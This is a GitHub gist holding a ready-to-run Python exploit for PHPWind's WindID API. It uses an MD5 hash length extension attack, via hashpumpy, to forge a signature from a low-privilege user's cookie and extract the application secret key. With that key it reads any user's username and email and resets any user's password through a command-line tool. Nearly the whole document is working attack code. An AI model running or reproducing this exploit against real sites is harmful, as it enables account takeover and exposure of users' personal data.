Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save thanatoskira/bad8e8d04dff2a1938e7d24c10b5dcbb to your computer and use it in GitHub Desktop.
Save thanatoskira/bad8e8d04dff2a1938e7d24c10b5dcbb to your computer and use it in GitHub Desktop.
PHPWind Hash-Length-Extension-Attack
#!/usr/bin/env python
# author: RickGray
# update: 2016-05-25
# >>>>>>>>>>>
# requests, hashpumpy modules required
# : pip install requests hashpumpy
import re
import json
import time
import hashlib
import argparse
import operator
import requests
import hashpumpy
def md5(s):
return hashlib.md5(str(s)).hexdigest()
def ksort(d):
sorted_d = sorted(d.iteritems(), key=operator.itemgetter(0))
return sorted_d
def get_appkey(a, t, s, g, p):
array = ['windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token',
'Filename', 'Upload', 'token', '__data']
ss = ''
get = ksort(g)
post = ksort(p)
for k, v in get:
if k in array:
continue
ss += (str(k) + str(v))
for k, v in post:
if k in array:
continue
ss += (str(k) + str(v))
return md5(md5(a + '||' + s) + t + ss)
def get_clientid_and_secretkey(t, c):
def fetch_uid(p):
pattern = r'%26uid%3D(?P<uid>[0-9]{1,})%26'
result = re.search(pattern, p)
return result.group('uid') if result else None
def fetch_windidkey(p):
pattern = r'%26windidkey%3D(?P<windidkey>[a-f0-9]{32})'
result = re.search(pattern, p)
return result.group('windidkey') if result else None
def fetch_time(p):
pattern = r'%26time%3D(?P<time>[0-9]+)%26'
result = re.search(pattern, p)
return result.group('time') if result else None
def fetch_clientid(p):
pattern = r'%26clientid%3D(?P<clientid>.*?)%26'
result = re.search(pattern, p)
return result.group('clientid') if result else None
_ = t + '/index.php?m=profile&c=avatar&_left=avatar'
text = requests.get(_, headers={'Cookie': c}).content
uid = fetch_uid(text)
windidkey = fetch_windidkey(text)
rtime = fetch_time(text)
clientid = fetch_clientid(text)
if uid and windidkey and rtime and clientid:
print('[*] uid = %s' % uid)
print('[*] windidkey = %s' % windidkey)
print('[*] time = %s' % rtime)
print('[*] clientid = %s' % clientid)
origin = rtime + 'adoAvatarcavatarmapitypeflashuid{}uidundefined'.format(uid)
# a=get&c=app&m=api&id=1 str.=key+val ksort($POST)
padding = 'agetcappid1mapi'
fakehash, fakedata = hashpumpy.hashpump(windidkey, origin, padding, 32)
print('[*] fakehash = %s' % fakehash)
print('[*] fakedata = 0x%s' % fakedata.encode('hex'))
__ = t + '/windid/index.php'
params = {
origin.replace(rtime, ''): re.search(r'(\x80.*\x00)', fakedata).group(1),
'clientid': clientid,
'time': rtime,
'windidkey': fakehash,
}
data = dict(a='get', c='app', id='1', m='api')
response = requests.post(__,
params=params,
data=data, headers={'Cookie': c})
print('[*] content = %s' % response.content)
secret = json.loads(response.content)['secretkey']
return clientid, secret
else:
print('error in fetch data with content')
return None
def fetch_user_info(t, clientid, secret, uid):
_ = t + '/windid/index.php'
ctime = str(int(time.time()))
params = {
'userid': uid,
'time': ctime,
'clientid': clientid
}
data = dict(a='get', c='user', m='api')
appkey = get_appkey(str(clientid), ctime, secret, params, data)
params['windidkey'] = appkey
response = requests.post(_, params=params, data=data)
infos = json.loads(response.content)
username = infos['username']
email = infos['email']
print('[*] uid = %s' % uid)
print('[^] >>>>>>>>> username = %s' % username)
print('[^] email = %s' % email)
def change_user_password(t, clientid, secret, uid, password):
fetch_user_info(t, clientid, secret, uid)
_ = t + '/windid/index.php'
ctime = str(int(time.time()))
params = {
'time': ctime,
'clientid': clientid
}
data = dict(uid=uid, a='editUser', c='user', m='api', password=password)
appkey = get_appkey(str(clientid), ctime, secret, params, data)
params['windidkey'] = appkey
response = requests.post(_, params=params, data=data)
return response.content
def parse_args():
parser = argparse.ArgumentParser()
subparsers = parser.add_subparsers(dest='mode')
getsecret = subparsers.add_parser('getsecret', help='get secret key value')
getsecret.add_argument('-c', '--cookie', dest='COOKIE', type=str,
help='the cookie logined with any user')
chpass = subparsers.add_parser('chpass',
help='change user password with secret key')
chpass.add_argument('-i', '--clientid', dest='CLIENTID', type=int,
help='the clientid windid used')
chpass.add_argument('-s', '--secretkey', dest='SECRETKEY', type=str,
help='the client secret key used')
chpass.add_argument('-u', '--uid', dest='UID', type=int,
help='the user uid you want to change')
chpass.add_argument('-p', '--password', dest='PASSWORD', type=str,
help='the password you want to change')
parser.add_argument(dest='TARGET', type=str)
return parser.parse_args()
if __name__ == '__main__':
args = parse_args()
if args.mode == 'getsecret':
target = args.TARGET
cookie = args.COOKIE
try:
cid, secretkey = get_clientid_and_secretkey(target, cookie)
if cid and secretkey:
print('')
print('[^] >>>>>>>>> secretkey = %s' % secretkey)
print('[^] clientid = %s' % cid)
except Exception as ex:
print('failed get secretkey, ("{}")'.format(str(ex)))
elif args.mode == 'chpass':
target = args.TARGET
cid = args.CLIENTID
key = args.SECRETKEY
u = args.UID
pp = args.PASSWORD
try:
res = change_user_password(target, cid, key, u, pp)
if res == '1':
print('')
print('[^] >>>>>>>>> succeed!')
print('[^] password = %s' % pp)
except Exception as ex:
print('failed change user password, ("{}")'.format(str(ex)))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment